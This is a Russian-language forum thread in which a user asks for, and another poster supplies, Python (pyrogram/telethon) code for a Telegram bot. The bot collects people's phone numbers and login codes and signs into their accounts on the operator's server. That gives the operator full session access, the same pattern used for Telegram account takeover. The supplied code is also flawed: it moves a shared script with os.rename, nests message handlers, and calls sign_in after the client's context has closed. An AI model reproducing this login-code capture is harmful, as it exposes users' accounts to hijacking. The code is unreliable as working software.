Найти - Пользователи
Полная версия: Автоматическое подключение - А КАК?!
Начало » Python для экспертов » Автоматическое подключение - А КАК?!
1
xakerlater
Всем привет, я пишу бота(ЮБ), и тут такая проблемка, я хочу сделать автоматическое подключение.

Это бот Telegram*

Python, pyrogram

Принцип работы:

Юзер нажимает в боте кнопку “запустить”(/start), бот приветствует и в своем приветствии он добавляет инлайн-кнопку “Подключиться”(/connect).

Если нажать на кнопку “Подключиться”(/connect) бот выполняет:
- Создает папку с названием внутреннем ID в боте(примеры: “1”, “2”, и тд).
- Бот закидывает в папку с ID в боте файл(xraz.py), и запускает его.
- Т.К в папке нету инфы о сессии(для подключения) бот запрашивает номер, после получения номера бот вводит его в консоль и нажимает кнопку “Enter” и моментально отправляет “y” для подтверждения номера.
- Далее бот пишет сообщение “Код отправлен, введите код на клавиатуре”*инлайн-кнопки*, если какая-то ошибка - пишет ее в консоль.
- Юзер вводит код который пришел, и если он верный: бот напишет “Подключение выполнено успешно!”, если не верный код: “Ошибка!/nНеверный код!” и возвращаемся к запросу кода.

Пожалуйста, помогите этого бота написать, а то я не могу это сделааать

Кусочек кода моего ЮБ:

 from pyrogram import Client, filters
from pyrogram.types import Message
from pyrogram.errors import FloodWait, PeerIdInvalid
import asyncio
import time
from time import sleep
import random
 
api_id = ******
api_hash = "****************************"
 
app = Client("my_account", api_id=api_id, api_hash=api_hash)
 
@app.on_message(filters.command(" рандом", prefixes=prefixes) & filters.me)
def xraz(_, msg):
    msg.edit("❓ Кто-то подумал про число: " + str(random.randint(1, 10)) + ".")
 
if __name__ == "__main__":
    app.run()
ZeroCool77
это базовый пример, и его можно и нужно улучшать и адаптировать под конкретные требования и сценарии

 from pyrogram import Client, filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
import os
import subprocess
import asyncio
api_id = "YOUR_API_ID"
api_hash = "YOUR_API_HASH"
app = Client("my_bot", api_id=api_id, api_hash=api_hash)
# Функция для создания папки и запуска скрипта
async def setup_and_run(user_id):
    directory = str(user_id)
    if not os.path.exists(directory):
        os.makedirs(directory)
    
    # Копируем скрипт в папку и запускаем его
    script_path = "xraz.py"  # Убедитесь, что скрипт находится в рабочем каталоге
    dest_path = os.path.join(directory, "xraz.py")
    os.rename(script_path, dest_path)
    
    # Запускаем скрипт
    subprocess.Popen(["python", dest_path])
    
    # Запрос номера телефона
    return directory
@app.on_message(filters.command("start"))
async def start_command(client: Client, message: Message):
    keyboard = InlineKeyboardMarkup([
        [InlineKeyboardButton("Подключиться", callback_data="connect")]
    ])
    await message.reply("Привет! Нажмите кнопку ниже, чтобы подключиться.", reply_markup=keyboard)
@app.on_callback_query(filters.regex("connect"))
async def connect_callback(client: Client, callback_query):
    user_id = callback_query.from_user.id
    directory = await setup_and_run(user_id)
    
    # Запрос номера телефона
    await callback_query.message.reply("Пожалуйста, введите ваш номер телефона.")
    # Ожидаем ввод номера телефона
    @app.on_message(filters.text & filters.user(user_id))
    async def phone_number_handler(client: Client, message: Message):
        phone_number = message.text
        # Здесь вы должны отправить номер в консоль и подтвердить его
        # Примерный код (в реальной ситуации вам нужно обработать это по-другому)
        await message.reply("Код отправлен, введите код на клавиатуре.")
        
        # Ожидаем ввод кода
        @app.on_message(filters.text & filters.user(user_id))
        async def code_handler(client: Client, message: Message):
            code = message.text
            # Здесь нужно подтвердить код и выполнить нужные действия
            # Примерный код (в реальной ситуации вам нужно обработать это по-другому)
            if code == "YOUR_EXPECTED_CODE":  # Замените на вашу проверку кода
                await message.reply("Подключение выполнено успешно!")
            else:
                await message.reply("Ошибка! Неверный код!")
                await message.reply("Пожалуйста, попробуйте снова.")
if __name__ == "__main__":
    app.run()
xakerlater
ZeroCool77
это базовый пример, и его можно и нужно улучшать и адаптировать под конкретные требования и сценарии

Спасибо, что решил помочь, но как сделать проверку кода который ТГ выслал?
ZeroCool77
можно использовать систему авторизации Telegram по номеру телефона, которая запрашивает у пользователя код подтверждения.
Установите библиотеку telethon

 from pyrogram import Client, filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from telethon import TelegramClient
import os
import subprocess
api_id = "YOUR_API_ID"
api_hash = "YOUR_API_HASH"
app = Client("my_bot", api_id=api_id, api_hash=api_hash)
# Функция для создания папки и запуска скрипта
async def setup_and_run(user_id):
    directory = str(user_id)
    if not os.path.exists(directory):
        os.makedirs(directory)
    
    script_path = "xraz.py"
    dest_path = os.path.join(directory, "xraz.py")
    os.rename(script_path, dest_path)
    
    subprocess.Popen(["python", dest_path])
    return directory
@app.on_message(filters.command("start"))
async def start_command(client: Client, message: Message):
    keyboard = InlineKeyboardMarkup([
        [InlineKeyboardButton("Подключиться", callback_data="connect")]
    ])
    await message.reply("Привет! Нажмите кнопку ниже, чтобы подключиться.", reply_markup=keyboard)
@app.on_callback_query(filters.regex("connect"))
async def connect_callback(client: Client, callback_query):
    user_id = callback_query.from_user.id
    directory = await setup_and_run(user_id)
    
    await callback_query.message.reply("Пожалуйста, введите ваш номер телефона.")
    
    # Ожидаем ввод номера телефона
    @app.on_message(filters.text & filters.user(user_id))
    async def phone_number_handler(client: Client, message: Message):
        phone_number = message.text
        await message.reply("Код отправлен, введите код на клавиатуре.")
        
        # Настраиваем Telethon клиента
        telethon_client = TelegramClient("session_name", api_id, api_hash)
        
        # Запрашиваем код
        async with telethon_client:
            phone = phone_number
            try:
                await telethon_client.send_code_request(phone)
                await message.reply("Введите код подтверждения.")
                
                # Ожидаем ввод кода подтверждения
                @app.on_message(filters.text & filters.user(user_id))
                async def code_handler(client: Client, message: Message):
                    code = message.text
                    try:
                        # Логинимся с кодом
                        await telethon_client.sign_in(phone, code)
                        await message.reply("Подключение выполнено успешно!")
                    except Exception as e:
                        await message.reply(f"Ошибка: {str(e)}. Попробуйте еще раз.")
            except Exception as e:
                await message.reply(f"Ошибка отправки кода: {str(e)}")
if __name__ == "__main__":
    app.run()

Мы используем telethon для отправки запроса на код подтверждения и проверки этого кода.
Когда пользователь вводит номер телефона, мы используем telethon для отправки кода на указанный номер телефона.
Когда пользователь вводит код, мы проверяем его и, если код правильный, успешно логинимся.
xakerlater
ZeroCool77
можно использовать систему авторизации Telegram по номеру телефона, которая запрашивает у пользователя код подтверждения.Установите библиотеку telethon
Я только сейчас заметил, что нужно человеку писать но можно в обычного бота?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB